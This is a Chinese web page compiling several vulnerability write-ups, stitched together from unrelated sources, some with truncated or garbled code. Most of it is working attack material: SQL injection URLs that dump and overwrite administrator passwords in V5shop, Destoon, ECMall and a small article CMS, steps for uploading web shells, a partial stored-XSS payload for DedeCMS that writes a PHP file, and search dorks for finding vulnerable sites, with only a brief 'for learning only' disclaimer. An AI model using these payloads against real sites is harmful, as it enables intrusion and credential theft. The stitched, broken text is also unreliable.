下面是小编给大家整理的IE浏览器鼠标坐标跟踪安全风险,通杀全版本漏洞预警(共含8篇),欢迎大家借鉴与参考,希望对大家有所帮助。同时,但愿您也能像本文投稿人“jyz”一样,积极向本站投稿分享好文章。
最近在Seclist上又看到了IE漏洞,该漏洞的主要影响是能够跟踪鼠标坐标位置,即使当前鼠标位置位于非浏览器窗口。该漏洞最先被spider.io团队发现。 影响版本:IE6-10
Code:
Exploit Demo
缺陷文件:
www.xxxo.com/{Path}/wp-includes/registration-functions.php
关键代码 :
---->
/**
* Deprecated. No longer needed.
*
* @package WordPress
*/_deprecated_file( basename(__FILE__), '2.1', null, __( 'This file no longer needs to be included.' ) );
?>
----->
本文由( 0day5 )原创编译
缺陷文件:
Localhost/{Path}/wp-includes/registration-functions.php
关键代码 :
—->
/**
* Deprecated. No longer needed.
*
* @package WordPress
*/
_deprecated_file( basename(__FILE__), ’2.1′, null, __( ‘This file no longer needs to be included.’ ) );
?>
—–>
测试:
=============
随便测试了几个大牛. 基本都中枪.
漏洞危害:高危
一、漏洞文件:cart.aspx
搜索关键词:inurl:scoreindex.aspx
exp :
/cart.aspx?act=buy&id=1 and (Select Top 1 char(124)%2BisNull(cast([Name] as varchar(8000)),char(32))%2Bchar(124)%2BisNull(cast([Pass] as varchar(8000)),char(32))%2Bchar(124) From (Select Top 4 [Name],[Pass] From [Web_Admin] Where 1=1 Order by [Name],[Pass]) T Order by [Name] desc,[Pass] desc)>0 --
然后针对爆出来的md5密码进行在线解密,如果顺利,就可以登陆后台,默认地址:/weblogin,输入上面的用户名和密码既可成功进入后台,(当然很多时候md5解密是没有结果的)此时需要先更新下管理员密码:
update web_admin set pass=0x4300300034003600300035003100350036003800370030003900350038003700440036004500350043003700360046004400300034004300450037003100
其中pass串先将密码转成32位,再转换成大写,再转换成sql16进制(上面串默认密码是v5shop)
完整语句为:
cart.aspx?act=buy&id=1 and (update web_admin set pass=0x43003000340036003000320045003100350036003800370030003900350038003700440036004500350043003700360046004400300034004300450037003100
)>0 --
如果顺利,就可以登陆后台,默认地址:/weblogin,输入上面的用户名和密码既可成功进入后台。
进入后台后在系统设置-参数设置-后台上传水印,水印上传那儿貌似可以上传任意文件(可以先上传asp大马,然后再上传aspx大马),
小结:此方法基本可以做到8.2版本及以下版本通杀,最新版8.3已解决该漏洞。
修复方法:升级最新8.3版,或者临时把cart.aspx改名或做其它方法处理。
二、漏洞文件:commond.aspx
exp:
/commond.aspx?id=1 and 1=(select top 1 [name] from web_admin)
上面这个可以直接显示出管理员用户名
/commond.aspx?id=1 and 1=(select top 1 [pass] from web_admin)
上面这个可以显示MD5密码
/commond.aspx?id=1 update web_admin set pass=0x43003000340036003000320045003100350036003800370030003900350038003700440036004500350043003700360046004400300034004300450037003100
上面这个用于更改管理员密码
如果顺利,管理员密码已经被更改成你指定的密码(此处默认为v5shop),然后就可以登陆后台,默认地址:/weblogin,输入上面的用户名和密码既可成功进入后台。
拿shell方法:(未验证)
系统设置->参数设置->后台上传水印.
先传ASP的马..再传ASPX马.
上传后路径:/uploadFile/Picture/*.asp
小结:此方法基本可以做到8.2版本及以下版本通杀,最新版8.3已解决该漏洞。
修复方法:升级最新8.3版,或者临时把commond.aspx改名或做其它方法处理。
提示:使用系统者可以及时升级,阅读此文者请大家仅用于学习,勿用于非法用途。
cart.aspx?act=buy&id=1 update web_admin set pass=0x43003000340036003000320045003100350036003800370030003900350038003700440036004500350043003700360046004400300034004300450037003100
作者:admin@蜡笔's Blog
漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行,可getshell
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
下面说说利用方法。
条件有2个:
1.开启注册
2.开启投稿
注册会员—-发表文章
内容填写:
新建xss.css,内容:
body{
background-image:url(´javascript.:document.write(“”)´)
}
新建xss.js文件,内容:
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest;
if(request.overrideMimeType) {
request.overrideMimeType(´text/xml´);
}
} else if(window.ActiveXObject) {
var versions = [´Microsoft.XMLHTTP´, ´MSXML.XMLHTTP´, ´Microsoft.XMLHTTP´, ´Msxml2.XMLHTTP.7.0´,´Msxml2.XMLHTTP.6.0´,´Msxml2.XMLHTTP.5.0´, ´Msxml2.XMLHTTP.4.0´, ´MSXML2.XMLHTTP.3.0´, ´MSXML2.XMLHTTP´];
for(var i=0; i try { request = new ActiveXObject(versions[i]); } catch(e) {} } } xmlhttp=request; function getFolder( url ){ bj = url.split(´/´) return obj[obj.length-2] } Url = top.location.href; u = getFolder(oUrl); add_admin(); function add_admin(){ var url= “/”+u+“/sys_sql_query.php”; var params =“fmdo=edit&backurl=&activepath=/data&filename=haris.php&str=
在include/global.func.php 中strip_sql函数对传进来的值进行了过滤,但是我们可以绕过该限制,达到全版本注入
function strip_sql($string) {
$search = array(”/union[s|t]/i“,”/select[s|t]/i“,”/update[s|t]/i“,”/outfile[s|t]/i“,”/ascii/i“,”/[s|t]or[s|t]/i“,”//*/i“);
$replace = array('union ','select ','update ','outfile ','ascii ',' or ', '');
return is_array($string) ? array_map('strip_sql', $string) : preg_replace($search, $replace, $string);
}
在member/record.php 中
require 'config.inc.php';
require '../common.inc.php';
require DT_ROOT.'/module/'.$module.'/record.inc.php';
?>
调用了record.inc.php
switch($action) {
case 'pay':
$MODULE[-9]['name'] = $L['resume_name'];
$MODULE[-9]['islink'] = 0;
$MODULE[-9]['linkurl'] = $MODULE[9]['linkurl'];
isset($fromtime) or $fromtime = '';
isset($totime) or $totime = '';
isset($dfromtime) or $dfromtime = '';
isset($dtotime) or $dtotime = '';
isset($mid) or $mid = 0;
isset($currency) or $currency = '';
$module_select = module_select('mid', $L['module_name'], $mid);
if($keyword) $condition .= ” AND title LIKE '%$keyword%'“;
if($fromtime) $condition .= ” AND paytime>“.(strtotime($fromtime.' 00:00:00'));
if($totime) $condition .= ” AND paytime<“.(strtotime($totime.' 23:59:59'));
if($mid) $condition .= ” AND moduleid=$mid“;
if($itemid) $condition .= ” AND itemid=$itemid“;
....//
其中$mid 是没经过过滤的,导致我们可以注入
但是前面有防注入处理?
看我们怎么绕过注入中的正则
www.myhack58.com/member/record.php?action=pay&mid=-1+union//***/select//***/1,2,password,username,5,6,7,8,9 from destoon_member where admin=1-- a
看看这样是不是可以了?
这样就达到可以绕过正则了,
destoon 全版本SQL注入漏洞漏洞预警
,
。。
当前。前缀肯定是有变化的了,我看使用
www.myhack58.com/member/record.php?action=pay&mid=-1+union//***/select//***/1,2,GROUP_CONCAT(DISTINCT+table_name),4,5,6,7,8,9+from+information_schema.columns+where+table_schema=database()--%20a
来获取前缀。再使用
www.myhack58.com/member//record.php?action=pay&mid=-1+union//***/select//***/1,2,concat(username,0x3A,password),4,5,6,7,8,9%20from%20destoon_member%20where%20admin=1--%20a
来获得帐号和密码,密文为md5(md5(psw))类型,后台貌似为admin.php
简要描述:
本来想早点分析完然后奋斗ECSHOP...结果一直不给老衲机会啊,越来越不敢相信是不是官方版本了,是不是下错了.酒喝多了头有点晕.不知道有没有把分析写错...
详细说明:
order by 参数注入,后面不能跟union,但是可以用双重查询.
select...from...order by 1 and (select user_name from ecm_member where user_id=1)
或者
select...from...order by 1,(select user_name from ecm_member where user_id=1)
但是在第2个select里面可以用union
select...from...order by 1 and (select user_name from ecm_member where user_id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b)
或
select...from...order by 1,(select user_name from ecm_member where user_id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b)
app/my_goods.app.php
function index
{
/* 取得店铺商品分类 */
$this->assign('sgcategories', $this->_get_sgcategory_options());
$conditions = $this->_get_conditions();
$page = $this->_get_page();
$page_nolimit = array();
$goods_list = $this->_get_goods($conditions, $page); //跟进
$all_goods = $this->_get_goods($conditions, $page_nolimit);
......
}
function _get_goods($conditions, &$page)
{
if (intval($_GET['sgcate_id']) > 0)
{
$cate_mod =& bm('gcategory', array('_store_id' => $this->_store_id));
$cate_ids = $cate_mod->get_descendant_ids(intval($_GET['sgcate_id']));
}
else
{
$cate_ids = 0;
}
// 标识有没有过滤条件
if ($conditions != '1 = 1' || !empty($_GET['sgcate_id']))
{
$this->assign('filtered', 1);
}
//更新排序
if (isset($_GET['sort']) && isset($_GET['order']))
{
0 = strtolower(trim($_GET['sort'])); //未过滤
$order = strtolower(trim($_GET['order']));
if (!in_array($order,array('asc','desc'))) //只限制了order,没有限制sort
{
0 = 'goods_id';
$order = 'desc';
}
}
else
{
0 = 'goods_id';
$order = 'desc';
}
if ($page)
{
$limit = $page['limit'];
$count = true;
}
else
{
$limit = '';
$count = false;
}
/* 取得商品列表 */
$goods_list = $this->_goods_mod->get_list(array(
'conditions' => $conditions,
'count' => $count,
'order' => ”0 $order“, //select...from...order by 注入
'limit' => $limit,
), $cate_ids);
return $goods_list;
}
includes/models/goods.model.php
function get_list($params = array(), $scate_ids = array(), $desc = false, $no_picture = true)
{
is_int($scate_ids) && $scate_ids > 0 && $scate_ids = array($scate_ids);
extract($this->_initFindParams($params));//将上面数组的键名作为变量名,值作为变量的值(包含$order变量).
......
/* 条件(WHERE) */
$conditions = $this->_getConditions($conditions, true);
$conditions .= ” AND gs.spec_id IS NOT NULL AND s.store_id IS NOT NULL “;
if ($scate_ids)
{
......
}
/* 排序(ORDER BY) */
if ($order)
{
$order = ' ORDER BY ' . $this->getRealFields($order) . ', s.sort_order '; //跟进
}
/* 分页(LIMIT) */
$limit && $limit = ' LIMIT ' . $limit;
if ($count)
{
$this->_updateLastQueryCount(”SELECT COUNT(*) as c FROM {$tables}{$conditions}“);
}
/* 完整的SQL */
$this->temp = $tables . $conditions;
$sql = ”SELECT {$fields} FROM {$tables}{$conditions}{$order}{$limit}“;
$goods_list = $index_key ? $this->db->getAllWithIndex($sql, $index_key) : $this->db->getAll($sql); //带入查询
......
}
eccore/model/model.base.php
function getRealFields($src_fields_list)
{
$fields = $src_fields_list;
if (!$src_fields_list)
{
$fields = '';
}
$fields = preg_replace('/([a-zA-Z0-9_]+).([a-zA-Z0-9_*]+)/e', ”$this->_getFieldTable('1') . '.2'“, $fields); //正则无影响...
return $fields;
}
localhost/ecmall/index.php?app=my_goods&act=index&order=asc&sort=1 and (select user_name from ecm_member where user_id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b)%23
漏洞证明:
简单文章管理系统采用一级分类,界面简洁,功能简单实用,删除文章后,文章相关图片也一并删除减
少垃圾文件的存在。
后台管理入口域名/admin 用户名和密码都是admin
后台模块:
信息管理: 发布信息 修改信息 查找信息 推荐信息
系统管理: 类别管理 用户管理 系统设置 数据库维护
漏洞文件:article.asp Check_SqlIn.asp 代码我就不作分析了。网上多的是,差不多的问题。
漏洞说明:过滤不严,导致可cookie注入。
好像有两个字段14和12。
exp:
javascript.:alert(document.cookie=”id=“+escape(”119 union select 1,2,3,user,5,6,password,8,9,10,11,12,13,14 from admin“));
javascript.:alert(document.cookie=”id=“+escape(”235 union select 1,2,3,user,5,password,7,8,9,10,11,12 from admin"));
利用方法我就不说了,网上很多,整天JJYY还是这点破事,
有图有真像:
拿shell方法:
暂时没有更好的办法,但是如果他的数据库是.asp .asa后缀的话,可在
www.xxx.com/data/!%article%!.asp
改变下成:www.xxx.com/data/%21%25article%25%21.asp
没对数据库访问进行处理。 ING~~~~~~~
用户管理--->增加管理员中 帐户写上一句话变型马。然后菜刀之类的连就可以了。
dork:
inurl:list.asp?classid=1 首页 上一页 下一页 尾页 页次:页 共 条记录 条记录/页 转到:
注意后面的字哦。。。^_^
From: www.0855.tv
By: Mr.DzY